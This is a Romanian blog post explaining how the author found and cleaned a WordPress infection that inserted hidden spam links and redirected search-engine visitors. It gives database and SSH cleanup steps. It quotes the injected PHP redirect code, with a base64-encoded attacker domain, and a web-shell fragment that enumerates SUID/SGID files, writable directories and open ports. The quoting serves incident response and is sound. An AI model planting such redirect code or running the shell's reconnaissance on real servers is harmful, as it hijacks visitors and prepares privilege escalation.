Blogosfera virusata… dar, cu mine ce-ati avut?!

In ultima luna, am tot primit avertismente de virus in blog de la unii vizitatori. Initial am ignorat avertismentele, pentru ca aveam instalat un antivirus destul de bun (Kaspersky AV 2009) si desi stateam mult timp pe blog, nu am primit niciodata alerta de virus (.. mai demult am vazut ceva suspect, care la primul refresh a disparut. in fine…).
Incet, incet au inceput sa apara variatii mari ale traficului de vizitatori, dupa care in ultima vreme traficul a scazut constant si au inceput sa fie tot mai multi cei care sa-mi spuna ca stealthsettings.com este virusat. Ieri am primit de la cineva un screenshot facut in momentul in care antivirusul a blocat un script de pe stealthsettings.com :Trojan-Clicker.HTML.IFrame.gr. A fost destul de convingator pentru mine, incat sa ma pun pe cautat in toate sursele. Prima idee care mi-a venit in minte, a fost sa fac upgrade la ultima versiune de WordPress (2.5.1), dar nu inainte de a sterge toate fisierele vechiului script de WordPress si de a face backup la baza de date.  Procedura asta nu a dat niciun rezultat si probabil ar mai fi durat mult timp ca sa-mi dau sema unde e buba, daca nu mi-ar fi spus Eugen intr-o discutie la cafea, ca a gasit un link pe Google si ar fi bine sa-l vad.
MyDigitalLife.info, au publicat un articol cu titlul :  “WordPress Hack: Recover and Fix Google and Search Engine or No Cookie Traffic Redirected to Your-Needs.info, AnyResults.Net, Golden-Info.net and Other Illegal Sites”, care este capatul de fir de care aveam nevoie.
E vorba despre un exploit de WordPress bazat pe cookie, care dupa parerea mea este foarte complex si facut ca la carte. Destul de inteligent incat sa faca un SQL Injection in baza de date a blogului, sa creeze un user invizibil la o simpla verificare de rutina din Dashboard->Users, sa verifice pe server directoarele si fisierele “writable” (care au chmod 777), sa caute si sa execute fisiere cu privilegii de grup sau chiar de root. Nu stiu care este numele exploitului si vad ca sunt putine articole scrise despre el, in ciuda faptului ca sunt foarte multe bloguri infectate, inclusiv din Romania. Ok… o sa incerc sa incerc sa explic generalitati despre acest virus.

Ce face virusul?

In primul rand, insereaza in sursele paginilor de pe bloguri, link-uri invizibile pentru vizitatori dar vizibile si indexabile pentru motoarele de cautare, in special de Google. In acest fel transfera Page Rank catre site-uri indicate de atacator. In al doilea rand,  mai este inserat un cod de redirectionare URL, pentru vizitatorii care vin din Google, Live, Yahoo, … sau dintr-un RSS reader si nu au site-ul in cookie. Un antivirus detecteaza acest redirect ca Trojan-Clicker.HTML.

Simptome:

Scaderea masiva a traficului de vizitatori, in special pe blogurile unde majoritatea vizitatorilor provin din Google.

Identificare: (de aici se complica problema pentru cei care nu cat de cat habar de phpmyadmin, php si linux)

LA. ATENTIE!!! MAI INTAI FACETI UN BACKUP LA BAZA DE DATE!!!

1. Verificati sursele fisierelor index.php, header.php, footer.php, din tema blogului si vedeti daca exista un cod care foloseste criptare base64 sau contine “if($ser==”1? && sizeof($_COOKIE)==0)” de forma :

<?php
$seref=array(”google”,”msn”,”live”,”altavista”,
”ask”,”yahoo”,”aol”,”cnn”,”weather”,”alexa”);
$ser=0; foreach($seref as $ref)
if(strpos(strtolower
($_SERVER[’HTTP_REFERER’]),$ref)!==false){ $ser=”1?; break; }
if($ser==”1? && sizeof($_COOKIE)==0){ header(”Location: http://”.base64_decode(”YW55cmVzdWx0cy5uZXQ=”).”/”); exit;
}?>

…sau ceva asemanator. Stergeti acest cod!

Click pe imagine…

index code

In screenshot-ul de mai sus eu am selectat din greseala si “<?php get_header(); ?>”. Acel cod trebuie sa ramana.

2. Folositi phpMyAdmin si mergeti in baza de date la tabelul wp_users, unde verificati daca exista un user fara nume, creat la data de 00:00:00 0000-00-00 (este posibil in campul user_login sa scrie “WordPress”. Notati ID-ul acestui user (campul ID) dupa care stergeti-l.

Click pe imagine…

fake user

*cel de pe linia verde, trebuie sters si retinut ID-ul lui. In cazul lui somnoros, a fost ID=8 .

3. Mergeti in tabelul wp_usermeta, unde trebuie sa localizati si sa stergeti liniile aferente ID-ului (unde in campul user_id apare valoarea ID-ului sters) .

4. In tabelul wp_option, mergeti in active_plugins si vedeti ce plugin este activat suspect. Acesta poate folosi terminatii de genul _old.giff, _old.pngg, _old.jpeg, _new.php.giff, etc combinatii de extensii imagine bogus cu  _old si _new.

SELECT * FROM wp_options WHERE option_name = 'active_plugins'

Stergeti acest plugin, dupa care mergeti in blog –> Dashboard –> Plugins, unde dezactivati si activati un plugin oarecare.

Click pe imagine, sa vedeti cum apare fisierul virusat in active_plugins.

plugin

Urmati calea pe FTP sau SSH, indicata in active_plugins si stergeti fisierul de pe server.

5. Tot in phpMyAdmin, in tabelul wp_option, gasiti si stergeti randul care contine “rss_f541b3abd05e7962fcab37737f40fad8” si randul “internal_links_cache”.
In internal_links_cache, sunt puse criptat, link-urile de spam care apar in blog si un cod de Google Adsense, al hackerului.

6. Recomandat este sa va schimbati parola de logare pe blog si sa eliminati toate userele suspecte. Faceti upgrade la ultima versiune de WordPress si setati blogul sa nu mai permita inregistrarea de noi useri. Nu este nicio pierdere…pot sa comenteze si nelogati.

Am incercat mai sus sa explic cat de cat, ce este de facut intr-o asemenea situatie, pentru a curata blogul de acest virus. Problema este mult mai grava decat pare si nici pe departe rezolvata,  pentru ca se folosesc vulnerabilitati de securitate ale webserverului de hosting, pe care este blogul.

Ca prima masura de securizare, care au acces SSH, sa faca cateva verificari pe server pentru a vedea daca mai exista fisiere de genul *_old* si *_new.* cu terminatiile .giff, .jpeg, .pngg, .jpgg. Aceste fisiere trebuiesc sterse. Daca redenumim un fisier, de ex. top_right_old.giff in top_right_old.php, vedem ca in fisier este exact codul de exploit server.

Cateva indicatii utile de verificare, curatare si securizare server.  (via SSH)

1.  cd /tmp si verificati daca exista foldere de genul tmpVFlma sau alte combinatii de nume asemenatoare si stergeti-l. Vedeti in screenshotul de mai jos, doua astfel de foldere la mine:

tmpserver

rm –rf numefolder

2. Verificati si elimiati (schimbati chmod-ul) pe cat posibil folderele cu atribute chmod 777

find all writable files in current dir: find . -type f -perm -2 -ls
find all writable directories in current dir: find . -type d -perm -2 -ls
find all writable directories and files in current dir: find . -perm -2 –ls

3. Cautati fisiere suspecte pe server.

find . -name "*_new.php*"
find . -name "*_old.php*"
find . -name "*.jpgg"
find . -name "*_giff"
find . -name "*_pngg"

4, ATENTIE!!! la fisierele care au setat bitul SUID si SGID. Aceste fisiere executa cu privilegiile utilizatorului (group) sau root, nu cu cele ale utilizatorului care executa fisierul. Aceste fisiere pot duce la compromiterea root, daca sunt probleme de securitate. Daca nu utilizati fisierele cu biti SUID si SGID , executati “chmod 0” pe ele sau dezinstalati pachetul care le contin.

Exploitul contine pe undeva in sursa …:

if(!$safe_mode){
if($os_type == 'nix'){
$os .= execute('sysctl -n kern.ostype');
$os .= execute('sysctl -n kern.osrelease');
$os .= execute('sysctl -n kernel.ostype');
$os .= execute('sysctl -n kernel.osrelease');
if(empty($user)) $user = execute('id');
$aliases = array(
'' => '',
'find suid files'=>'find / -type f -perm -04000 -ls',
'find sgid files'=>'find / -type f -perm -02000 -ls',
'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
'show opened ports'=>'netstat -an | grep -i listen',
);
}else{
$os_name .= execute('ver');
$user .= execute('echo %username%');
$aliases = array(
'' => '',
'show runing services' => 'net start',
'show process list' => 'tasklist'
);
}

…practic in acest mod gaseste bresele in securitate. Porturi deschise, directoare “writable” si executare fisiere cu privilegii de grup / root.

Revin cu detalii…

Cateva bloguri infectate: www.blegoo.com, www.visurat.ro,

fulgerica.com, denisuca.com, www.ecostin.com,
www.razvanmatasel.ro,

blog.hrmarket.ro, www.nitza.ro,
motociclete.motomag.ro,

emi.brainient.com, www.picsel.ro,

www.mihaidragan.ro/kindablog/,
krumel.seo-point.com, www.itex.ro/blog,
www.radiology.ro,

www.dipse.ro/ionut/,
www.vinul.ro/blog/, www.damaideparte.ro,

dragos.roua.ro, www.artistul.ro/blog/,

www.mirabilismedia.ro/blog, blog.einvest.ro
… si lista poate continua … foarte mult.

Puteti verifica daca un blog este virusat, folosind motorul de cautare Google. copy & paste :

site:www.blegoo.com buy

Nopate buna si spor la treaba ;) In curand cred ca va veni cu noutati Eugen, pe prevezibil.imprevizibil.com.

brb :)

LA: ATENTIE! Schimbarea temei de WordPress sau upgrade-ul la WordPress 2.5.1, NU reprezinta o solutie pentru a scapa de acest virus.

Pasionat de tehnologie, scriu cu plăcere pe StealthSettings.com începând cu anul 2006. Am o bogată experiență în sistemele de operare: macOS, Windows și Linux, dar și în limbaje de programare și platforme de blogging (WordPress) și pentru magazine online (WooCommerce, Magento, PrestaShop).

How to » Noteworthy » Blogosfera virusata… dar, cu mine ce-ati avut?!
Leave a Comment